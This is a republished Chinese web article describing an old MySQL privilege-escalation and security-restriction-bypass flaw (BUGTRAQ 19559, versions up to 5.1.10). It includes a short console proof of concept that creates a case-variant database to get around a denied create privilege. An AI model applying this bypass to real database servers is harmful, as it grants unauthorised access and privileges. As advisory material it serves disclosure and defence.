微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

如何进行MySQL权限提升及安全限制绕过漏洞

这篇文章将为大家详细讲解有关如何进行MySQL权限提升及安全限制绕过漏洞,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

MysqL权限提升及安全限制绕过漏洞

受影响系统:

MysqL AB MysqL <= 5.1.10

描述:BUGTRAQ ID: 19559

MysqL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。在MysqL上,拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MysqL文件系统支持区分大小写的文件名。

此外,由于在错误的安全环境中计算了suid例程的参数,攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用户对所存储例程拥有EXECUTE权限。

测试方法

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

1 创建数据库

CODE:

$ MysqL -h my.MysqL.server -u sample -p -A sample
Enter password:
Welcome to the MysqL monitor. Commands end with ; or g.
Your MysqL connection id is 263935 to server version: 4.1.16-standard

MysqL> create database another;
ERROR 1044: Access denied for user 'sample'@'%' to database 'another'

MysqL> create database sAmple;
Query OK, 1 row affected (0.00 sec)

关于如何进行MysqL权限提升及安全限制绕过漏洞就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐